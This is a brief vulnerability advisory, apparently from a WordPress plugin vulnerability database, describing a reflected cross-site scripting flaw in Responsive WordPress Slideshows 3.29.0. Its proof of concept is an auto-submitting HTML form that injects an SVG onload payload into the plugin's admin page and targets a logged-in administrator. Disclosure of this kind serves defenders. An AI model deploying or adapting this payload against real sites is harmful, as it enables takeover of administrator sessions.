WordPress Plugin Vulnerabilities
Responsive WordPress Slideshows 3.29.0 - Reflected XSS
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open a page with the code below
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=metaslider" method="POST">
<input type="hidden" name="page" value='"><svg/onload=alert(/XSS/)>'/>
<input type="submit" name="submit" value="Send" />
</form>
</body>
</html>
